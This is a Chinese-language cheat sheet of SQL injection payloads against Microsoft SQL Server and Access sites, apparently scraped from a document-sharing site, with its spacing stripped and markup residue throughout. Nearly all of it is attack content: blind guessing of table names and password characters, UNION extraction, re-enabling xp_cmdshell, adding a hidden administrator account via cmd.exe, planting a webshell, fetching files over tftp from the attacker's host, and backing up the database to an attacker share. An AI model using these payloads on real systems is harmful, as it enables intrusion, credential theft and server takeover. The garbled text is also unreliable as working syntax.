渗透常用S Q L注入语句大全Document serial number【KKGB-LBS98YT-BS8CB-BSUT-BST108】1.判断有无注入点;a n d1=1a n d1= 22.猜表一般的表的名称无非是adminadminuseruserpasspassword等..and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)—判断是否存在admin这张表3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称.?1 2 3and1=(selectcount(*)fromadminwherelen(*)>0)–and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)and1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0)5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止?1 2 3 4 5 6 7 8and1=(selectcount(*)fromadminwherelen(*)>0)and1=(selectcount(*)fromadminwherelen(name)>6)错误and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6and1=(selectcount(*)fromadminwherelen(name)=6)正确and1=(selectcount(*)fromadminwherelen(password)>11)正确and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12and1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.1 2 3 4 5 6 7 8 9groupbyusers.idhaving1=1groupbyusers.id,ername,users.password,users.privshaving1=1–;insertintousersvalues(666,attacker,foobar,0xffff)–UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTA BLE_blank>_NAME=logintable-UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTA BLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTA BLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_ blank>_name)-UNIONSelectTOP1login_blank>_nameFROMlogintable-UNIONSelectTOP1passwordFROMlogintablewherelogin_blank>_name=Rahul–看_blank>服务器打的补丁=出错了打了SP4补丁and1=(select@@VERSION)–看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。

and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin))–判断连接_blank>数据库帐号。

（采用SA账号连接返回正常=证明了连接账号是SA）?1 2 3andsa=(SelectSystem_blank>_user)–anduser_blank>_name()=dbo–and0<>(selectuser_blank>_name()–看xp_blank>_cmdshell是否删除and1=(Selectcount(*)FROMWherextype=XANDname=xp_blank>_cmdshell)–xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复;EXECxp_blank>_cmdshell,xplog70.dll–;EXECxp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–反向PING自己实验;usemaster;declare@sint;execsp_blank>_oacreate“wscript.shell”,@sout;execsp_blank>_oamethod@s,”run”,NULL,”cmd.exe/cping 加帐号;DECLARE@shellINTEXECSP_blank>_OACreatewscript.shell,@shellOUTPUTEXECSP_bla nk>_OAMETHOD@shell,run,null,C:\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574 /add–创建一个虚拟目录E盘：;declare@ointexecsp_blank>_oacreatewscript.shell,@ooutexecsp_blank>_oametho d@o,run,NULL,cscript.exec：\inetpub\wwwroot\mkwebdir.vbs-w“默认Web站点”-v “e”,”e：\”–访问属性：（配合写入一个webshell）declare@ointexecsp_blank>_oacreatewscript.shell,@ooutexecsp_blank>_oamethod @o,run,NULL,cscript.exec：\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse 爆库特殊_blank>技巧：:%5c=\或者把/和\修改%5提交and0<>(selecttop1pathsfromnewtable)–得到库名（从1到5都是系统的id，6以上才可以判断）and1=(selectnamefromwheredbid=7)–and0<>(selectcount(*)fromwherename>1anddbid=6)依次提交dbid=7,8,9….得到更多的_blank>数据库名1 2 3 4 5 6 7 8 9and0<>(selecttop1namefromwherextype=U)暴到一个表假设为adminand0<>(selecttop1namefromwherextype=Uandnamenotin(Admin))来得到其他的表。

and0<>(selectcount(*)fromwherextype=Uandname=adminanduid>(str(id)))暴到UID的数值假设为uid=idand0<>(selecttop1namefromwhereid=)得到一个admin的一个字段,假设为user_blank>_idand0<>(selecttop1namefromwhereid=andnamenotin(id,…))来暴出其他的字段and0<(selectuser_blank>_idfromwhereusername>1)可以得到用户名依次可以得到_blank>密码。

假设存在user_blank>_idusername,password等字段1 2 3 4 5 6 7 8and0<>(selectcount(*)fromwherename>1anddbid=6)and0<>(selecttop1namefromwherextype=U)得到表名and0<>(selecttop1namefromwherextype=Uandnamenotin(Address))and0<>(selectcount(*)fromwherextype=Uandname=adminanduid>(str(id)))判断id值and0<>(selecttop1namefromwhereid=)所有字段?id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin?id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union，access也好用)得到WEB 路径?1 2 3 4 5 ;createtable[dbo].[swap]([swappass][char ](255));–and(selecttop 1swappassfromswap)=1–;CreateTABLEnewtable(id int IDENTITY(1,1),pathsvarchar(500))Declare @test varchar (20)execmaster..xp_blank>_regread @rootkey =HKEY_blank>_LOCAL_blank>_MACHINE,@k ey =SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_bl ank >_name=/,values=@test OUTPUTinsertintopaths(path)values(@test )–;useku1;–;createtablecmd(strimage);–建立image 类型的表cmd 存在xp_blank>_cmdshell 的测试过程：1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ;execmaster..xp_blank>_cmdshelldir;execjiaoniang$;–加SQL 帐号;exec null ,jiaoniang$,1866574;–;execjiaoniang$sysadmin;–;execnetuserjiaoniang$1866574/workstations:*/times:all/passwordchg:yes/passw ordreq:yes/active:yes/add;–;execnetlocalgroupadministratorsjiaoniang$/add;–execmaster..xp_blank>_servicecontrolstart,schedule 启动_blank>服务execmaster..xp_blank>_servicecontrolstart,server;DECLARE @shell INTEXECSP_blank>_OACreatewscript.shell,@shell OUTPUTEXECSP_blan k>_OAMETHOD @shell ,run,null ,C ：\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add;DECLARE @shell INTEXECSP_blank>_OACreatewscript.shell,@shell OUTPUTEXECSP_blan k>_OAMETHOD @shell ,run,null ,C ：\WINNT\system32\cmd.exe/cnetlocalgroupadministratorsjiaoniang$/add;execmaster..xp_blank>_cmdshelltftp-iyouipgetfile.exe –利用TFTP 上传文件 ;declare @a sysnameset @a =xp_blank>_+cmdshellexec @a dirc:\;declare @a sysnameset @a =xp+_blank>_cm’+’dshellexec @a dirc:\;declare @a ;set @a =db_blank>_name();backupdatabase @a todisk=你的IP 你的共享目录bak.dat如果被限制则可以。